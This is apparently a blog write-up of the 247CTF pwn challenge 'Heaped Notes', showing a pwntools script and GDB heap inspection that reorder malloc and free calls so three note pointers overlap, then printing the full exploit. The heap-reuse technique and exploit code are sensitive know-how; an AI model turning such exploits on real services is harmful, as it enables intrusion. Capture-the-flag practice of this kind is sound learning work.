CREATIVE CHAOS   ▋ blog

Heaped Notes (pwn)

PUBLISHED ON 14/04/2020 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

Intro

This is my write-up of a Pwn challenge Heaped Notes on the CTF site 247CTF.com.

Instructions

Can you abuse our heaped notes service to create 3 identical notes?

Howto

Create a new pwntools template:

$ pwn template ./heaped_notes --host 5dca9eabc7b6dbdd.247ctf.com --port 50367

Edit the sha-bang to use python 3:

#!/usr/bin/env python3

Create functions for note creation (this one uses malloc()) and oversized note creation (if note is too big the program calls free()). This will save us time typing in the data while testing.

def create_note(command, size, data ):
    io.recvuntil('Enter command:')
    io.sendline(command)
    io.recvuntil('Enter the size of your') # Enter the size of your small note:
    io.sendline(size)
    io.recvuntil('Enter ') # Enter small note data:
    io.sendline(data)

def create_note_too_large(command, size):
    io.recvuntil('Enter command:')
    io.sendline(command)
    io.recvuntil('Enter the size of your') # Enter the size of your small note:
    io.sendline(size)

Super useful stuff right here, run the exploit in tmux, so you can use GDB in parralel split:

context.terminal = ['tmux', 'splitw', '-h']

Running the exploit:

$ ./exploit.py LOCAL GDB

You can break GDB with ^C.

Switch tmux panes with ^B O.

Check in gdb where heap is located:

$r10   : 0x00005555557582b0  →  0x0041414141414141 ("AAAAAAA"?)

Lets see how does it work.

Inspect the heap:

gef➤  x/80gx 0x00005555557582b0

Play with the functions.

Try to call varius note creation to see how the program behaves.


# Create largest notes we can, the sizes can be seen via static analysis in Cutter
create_note('small', '32', 'A'*32)
create_note('medium', '64', 'B'*64)
create_note('large', '128', 'C'*16)

# forcing free(), using 129 as size, because even the largest note supports only 128
create_note_too_large('small', '129')
create_note_too_large('medium', '129')
create_note_too_large('large', '129')

Keep checking the heap.

Until we get this :D

0x5555557582b0: 0x0041414141414141      0x0000000000000000
0x5555557582c0: 0x0000000000000000      0x000000000001fd41

Basically we need to create a large note to allocate malloc() the space on heap. Create too large large note, to free() that space on heap. Do the same thing with medium note. And lastly create a small note.

Now we are ready to try it out online:

$ ./exploit.py

Exploit


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./heaped_notes --host 5dca9eabc7b6dbdd.247ctf.com --port 50367
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./heaped_notes')
context.terminal = ['tmux', 'splitw', '-h']

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '5dca9eabc7b6dbdd.247ctf.com'
port = int(args.PORT or 50367)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled



def create_note(command, size, data ):
    io.recvuntil('Enter command:')
    io.sendline(command)
    io.recvuntil('Enter the size of your') # Enter the size of your small note:
    io.sendline(size)
    io.recvuntil('Enter ') # Enter small note data:
    io.sendline(data)

def create_note_too_large(command, size):
    io.recvuntil('Enter command:')
    io.sendline(command)
    io.recvuntil('Enter the size of your') # Enter the size of your small note:
    io.sendline(size)




io = start()

create_note('large', '8', 'C'*128)
create_note_too_large('large', '129')
create_note('medium', '8', 'B'*64)
create_note_too_large('medium', '129')
create_note('small', '8', 'A'*32)



io.recvuntil('Enter command:')
io.sendline('print')

io.sendline('flag')
#io.recvuntil('247CTF')
io.interactive()

io.close()

Sources